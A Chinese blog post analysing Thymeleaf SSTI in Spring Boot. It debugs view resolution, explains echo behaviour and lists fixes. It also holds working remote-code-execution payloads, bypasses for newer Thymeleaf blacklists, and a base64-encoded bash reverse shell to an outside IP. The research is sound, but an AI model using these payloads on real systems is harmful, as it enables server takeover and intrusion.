前言
趁热打铁,昨天刚学完thymeleaf引擎今天直接上注入
参考:
https://www.anquanke.com/post/id/254519
https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/
https://www.cnpanda.net/sec/1063.html
以这个项目进行漏洞复现:https://github.com/veracode-research/spring-view-manipulation
环境jdk1.8 + springboot 2.2.0 +thymeleaf 3.0.11
原理
相关语法
在Thymeleaf 3.x 版本后,新增了~{...}片段表达式,而出现SSTI问题的主要原因也在于此
复习一下语法:
~{templatename::selector}**,会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment
如有一个 html 文件的代码如下:
<!DOCTYPE html> 
<html xmlns:th="http://www.thymeleaf.org"> 
<body> <div th:fragment="banquan"> © 2021 ThreeDream yyds</div> 
</body> 
</html>
然后在另一template中可以通过片段表达式引用该片段:
<div th:insert="~{footer :: banquan}"></div>
th:insert和th:replace插入片段是比较常见的用法
~{templatename}**:引用整个templatename模版文件作为fragment~{::selector}或~{this::selector}**:引用来自同一模版文件名为selector的fragmnt。在这里,selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等- 当
~{}片段表达式中出现::,那么::后需要有值(也就是selector) 
Thymeleaf中的预处理表达式:__${expression}__,因为预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行
现在切入正题

看这里的/path路由:
   @GetMapping("/path")
public String path(@RequestParam String lang) {
       return "user/" + lang + "/welcome"; //template path is tainted
   }
乍一看只是一个语言选择的参数lang,但是这里采用的是 thymeleaf 模板,就出现了问题
在springboot + thymeleaf 中,如果视图名可控,就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后,Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板,在寻找的过程中,会将传入的参数当成SpEL表达式执行,从而导致了远程代码执行漏洞。
而这里的视图名,就是lang参数,当我们传入参数值en的时候,会正常渲染这里的en/welcome.html
接下来跟一下这个视图解析的过程,其实大部分都是MVC对request的处理流程,在MVC中是DispatcherServlet拦截请求并分发到Handler处理
SpringMVC 视图解析过程分析
下断点直接定位到DispatcherServlet#doDispatch方法(所有的request和response都会经过该方法)
开始调试,传入/path?lang=en

首先获取到了Handler消息处理,之后进入doDispatch方法的实现,这里重点注意下下面3个方法
ha.handle(),获取ModelAndView也就是Controller中的return值applyDefaultViewName(),对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理

封装ModelAndView对象
先跟进到ha.handle()
调用了/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal

然后继续跟,一路来到调用invokeHandlerMethod方法,这里就是使用Handler处理request并获取ModelAndView

跟进invokeHandlerMethod到调用invokeAndHandle

跟进invokeAndHandle

可以看到这里做了如下操作:
invokeForRequest会调用Controller后获取返回值到returnValue中这里的controller是HelloController.java
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }判断
returnValue是否为空,如果是则继续判断isRequestHandled是否为True,都满足的话设置requestHandled为true通过
handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中
总结一下,就是根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名,然后通过Thymeleaf模板引擎去查找,并返回给用户

可以看到经过了invokeForRequest处理后return的字符串和前后缀拼接在了一起,然后在templates目录下寻找模板文件,这里找的就是templates/user/en/welcome.html
接下来跟到handleReturnValue方法
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
       //获取handler
       HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
       if (handler == null) {
           throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
       } else {
           //执行handleReturnValue操作
           handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
       }
   }
然后进ViewNameMethodReturnValueHandler#handleReturnValue:
- 判断返回值类型是否为字符型,设置
mavContainer.viewName - 判断返回值是否以
redirect:开头,如果是的话则设置重定向的属性 
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
       if (returnValue instanceof CharSequence) {
           String viewName = returnValue.toString();
           //设置返回值为viewName
           mavContainer.setViewName(viewName);
           //判断是否需要重定向
           if (this.isRedirectViewName(viewName)) {
               mavContainer.setRedirectModelScenario(true);
           }
       } else if (returnValue != null) {
           throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
       }
   }
通过上面的操作,将返回值设置为mavContainer.viewName
执行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod中。通过getModelAndView获取ModelAndView对象

getModelAndView根据viewName和model创建ModelAndView对象并返回

接下来跟进到applyDefaultViewName方法
如果 ModelAndView 值不为null则什么也不做,否则如果defaultViewName存在值则会给 ModelAndView 赋值为 defaultViewName,也就是将 URI path 作为视图名称

获取视图
接下来跟进到processDispatchResult,获取到ModelAndView值后会进入到processDispatchResult方法
第1个if会被跳过,跟进第2个if中的render方法

在render方法中,首先会调用getViewName来获取mv对象的viewName

然后调用resolveViewName方法

循环遍历所有视图解析器解析视图,解析成功则返回,可以看到右下角这里有5个视图解析器
本以为会在ThymeleafViewResolver中获取视图,实际调试发现这里在ContentNegotiatingViewResolver中就已经获取到了视图
ContentNegotiatingViewResolver视图解析器允许使用同样的数据获取不同的View,支持三种方式:
使用扩展名:
http://localhost:8080/employees/nego/Jack.xml
返回结果为XML
http://localhost:8080/employees/nego/Jack.json
返回结果为JSON
http://localhost:8080/employees/nego/Jack
使用默认view呈现,比如JSPHTTP Request Header中的Accept:Accept 分别是
text/jsp,text/pdf,text/xml,text/json和无Accept请求头使用参数:
http://localhost:8080/employees/nego/Jack?format=xml
返回结果为XML
http://localhost:8080/employees/nego/Jack?format=json
返回结果为JSON
接下来跟进到ContentNegotiatingViewResolver#resolveViewName方法

getCandidateViews循环调用所有的ViewResolver解析视图,解析成功放到视图列表中返回。同样也会根据Accept头得到后缀并通过ViewResolver解析视图


接下来进入getBestView,根据Accept头获取最优的视图返回

最终返回的是ThymeleafView

视图渲染
下一步是调用render方法

进入ThymleafView#render,接下来就是调用renderFragment**,这里就是漏洞触发的关键点之一了

该方法在后面首先判断viewTemplateName是否包含::,若包含则获取解析器
然后调用parseExpression方法将viewTemplateName(也就是Controller中最后return的值)构造成片段表达式~{})并解析执行

因为我们这边的 viewTemplateName 为 user/en/welcome,所以不会进入parseExpression
回显原理
这种回显的本质其实是 throw 某个会包含表达式执行结果的异常,而在低版本的 springboot (<= 2.2) 中, server.error.include-message 的默认值为 always,这使得默认的 500 页面会显示异常信息
但是在高版本的 springboot (>= 2.3) 中, 上述选项的默认值变成了 never, 那么 500 页面就不会显示任何异常信息,所以这种回显形式还是会有一定的局限性
漏洞复现
templatename
漏洞代码:
@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}
打入payload:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
PS:因为这里最后return的值为user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome,无论我们payload如何构造最后都会拼接/welcome,所以根据前面分析即使不加.x依然可以触发命令执行
然后继续前面的分析,这样就进入了parseExpression

在StandardExpressionParser#parseExpression中
通过preprocess进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_提取__xx__间的内容

获取expression

可以看到这里返回的expression已经是一个SPEL表达式了
最终调用execute方法,执行表达式

于是就弹出计算器了,同时抛出错误

所以这个漏洞的本质是SPEL表达式执行
selector
对于~{templatename::selector},因为前面是在templatename的位置注入表达式,那么我们同样也可以在selector处进行注入
漏洞代码:
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}
payload:
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
其实这里也可以不需要.x和::也可触发命令执行
值得注意的是,templatename和selector这两个地方的注入点不同会导致有无回显的差别,即最后抛出异常,templatename是存在结果回显的而找不到selector不存在结果回显


原因是最终抛出 TemplateInputException 异常的时候携带的是 template,也就是 :: 前面的内容,并没有带出 selector,详情看下面的回显分析

URI path
漏洞代码:
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}
payload:
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
前面提过,在applyDefaultViewName方法处对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值即作为视图名称
所以我们直接在{document}位置传入payload,能直接弹计算器
但是当我们尝试执行 whoami 时,并没有产生回显,而是原封不动输出了我们的payload

这是因为这个controller没有返回值,也不能有返回值,否则就不会调用applyDefaultViewName设置,如果我们的controller改成下面这样,将不会导致代码执行
@GetMapping("/doc/{document}")
    public String getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document);
        return "welcome";
    }
构造回显
templatename部分可控,没回显的原因在于defaultView中对URI path的处理,为了解决这个问题,我们可以在payload的最后加两个.
payload:
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::..
需要注意的是::必须放在后面,放在前面虽然可以执行命令,但是没有回显,类似于templatename和selector的区别
造成这个问题的地方在StandardExpressionParser#parseExpression,在preprocess预处理结束后还会再走Expression.parse进行一次解析,这里如果解析失败则不会回显
现在来使用::.x结尾的payload:

可以看到这里::后面是没有内容的,因此解析后expression的值为null,所以最终会抛出IllegalArgumentException异常,携带的异常信息只包含了我们输入的内容, 并没有命令的回显

而使用::..结尾的payload:

这一步是正常解析出了expression,值变成 FragmentExpression
之后返回到 ThymeleafView#renderFragment 方法, 往下会将表达式执行结果作为 templateName,并提取出 :: 后面的内容作为 selector
然后调用 viewTemplateEngine.process()


跟进 TemplateManager#resolveTemplate

templateResolver 负责在 classpath (prefix) 下依据 template (name) 和 suffix 寻找对应的模板文件
这里肯定是找不到的, 所以会抛出 TemplateInputException 异常, 但是这个异常会带出 tempate 名称并最终显示在 500 页面中, 因此达到了回显的效果

分析
现在分析一下为什么::.x会被去掉:
在分析URI PATH这种方式能获取ModelAndView的原因时,我们分析过在applyDefaultViewName中获取URI Path作为ModelAndView的name,这个操作在DefaultRequestToViewNameTranslator#getViewName中完成



@Override
public String getViewName(HttpServletRequest request) {
	String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
	return (this.prefix + transformPath(lookupPath) + this.suffix);
}
getLookupPathForRequest仅仅获取了请求的地址并没有对后面的.x做处理,处理主要是在transformPath中完成的

@Nullable
protected String transformPath(String lookupPath) {
	String path = lookupPath;
	if (this.stripLeadingSlash && path.startsWith(SLASH)) {
		path = path.substring(1);
	}
	if (this.stripTrailingSlash && path.endsWith(SLASH)) {
		path = path.substring(0, path.length() - 1);
	}
	if (this.stripExtension) {
		path = StringUtils.stripFilenameExtension(path);
	}
	if (!SLASH.equals(this.separator)) {
		path = StringUtils.replace(path, SLASH, this.separator);
	}
	return path;
}

stripFilenameExtension会去除最后一个.后的内容,所以可以通过下面的方式绕过
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas
总之就是让::后面有内容才能实现回显
修复
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
    @ResponseBody
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }
配置了ResponseBody注解后,在applyDefaultViewName中ModelAndView是Null而非ModelAndView对象,所以hasView()会导致异常,不会设置视图名
原因是设置了ResponseBody注解后,handler返回的是RequestResponseBodyMethodProcesser,所以这里会调用它的handleReturnValue,设置了RequestHandled属性为True
此方法也适用于templatename,在设置了RequestHandled属性后,ModelAndView一定会返回Null
这样 spring 框架就不会将其解析为视图名,而是直接返回,不再调用模板解析
通过redirect:
根据springboot定义,如果名称以
redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //FP as redirects are not resolved as expressions
}
方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document);
    }
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析
其它姿势
::位置
::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__
省略__
当Controller如下配置时,可以省略__包裹
@RequestMapping("/path")
public String path2(@RequestParam String lang) {
    return lang; //template path is tainted
}
即去掉了前后缀
payload:
$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x
高版本下的bypass
在3.0.12版本,Thymeleaf 在 util目录下增加了一个名为SpringStandardExpressionUtils.java的文件
当调用表达式的时候,会经过该函数的判断:
public static boolean containsSpELInstantiationOrStatic(final String expression) {
        final int explen = expression.length();
        int n = explen;
        int ni = 0; // index for computing position in the NEW_ARRAY
        int si = -1;
        char c;
        while (n-- != 0) {
            c = expression.charAt(n);
            if (ni < NEW_LEN
                    && c == NEW_ARRAY[ni]
                    && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
                ni++;
                if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
                    return true; // we found an object instantiation
                }
                continue;
            }
            if (ni > 0) {
                n += ni;
                ni = 0;
                if (si < n) {
                    // This has to be restarted too
                    si = -1;
                }
                continue;
            }
            ni = 0;
            if (c == ')') {
                si = n;
            } else if (si > n && c == '('
                        && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
                        && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
                return true;
            } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
                si = -1;
            }
        }
        return false;
    }
可以看到其主要逻辑是:首先倒序检测是否包含wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行
因此要绕过这个函数,只要满足三点:
1、表达式中不能含有关键字new
2、在(的左边的字符不能是T
3、不能在T和(中间添加的字符使得原表达式出现问题
关于这个的绕过方法是%20,%0a,%09
最终payload:
/path;/__${t(java.lang.runtime).getruntime().exec("calc")}__::.x
/path//__${t(java.lang.runtime).getruntime().exec("calc")}__::.x
注意:命令执行的payload 中不能含有/
2.x版本
片段表达式 ~{ }这个特性是在 3.0 版本引入的,但是其实 2.x 版本也能触发漏洞
同样存在 preprocess 方法来处理预处理表达式
对于不含预处理表达式的 payload, 同样能够执行, 只是位置不太一样
其它的payload
__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
3.0.15版本,来自于rwctf2024
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]
或者
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}')}" th:title='pepito'>